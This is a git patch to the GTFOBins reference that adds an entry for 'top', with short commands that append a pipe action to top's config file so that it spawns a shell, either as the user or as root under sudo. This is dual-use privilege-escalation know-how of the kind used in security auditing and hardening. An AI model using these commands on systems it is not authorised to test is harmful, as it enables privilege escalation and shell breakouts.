From 51d7b541dcd4f35e3079e5e1960e36321ee7f840 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 28 Jan 2020 22:18:36 +0100 Subject: [PATCH] Add shell and sudo for top This closes #81. Thanks to Chris McCoy (https://github.com/chris-mccoy) for the idea. --- _gtfobins/top.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 _gtfobins/top.md diff --git a/_gtfobins/top.md b/_gtfobins/top.md new file mode 100644 index 0000000..fe77313 --- /dev/null +++ b/_gtfobins/top.md @@ -0,0 +1,16 @@ +--- +description: This requires that an existing configuration file is present, to create one run `top` then type `Wq`. Note down the actual configuration file path and use it in the below examples. +functions: + shell: + - code: | + echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc + top + # press return twice + reset + sudo: + - code: | + echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc + sudo top + # press return twice + reset +---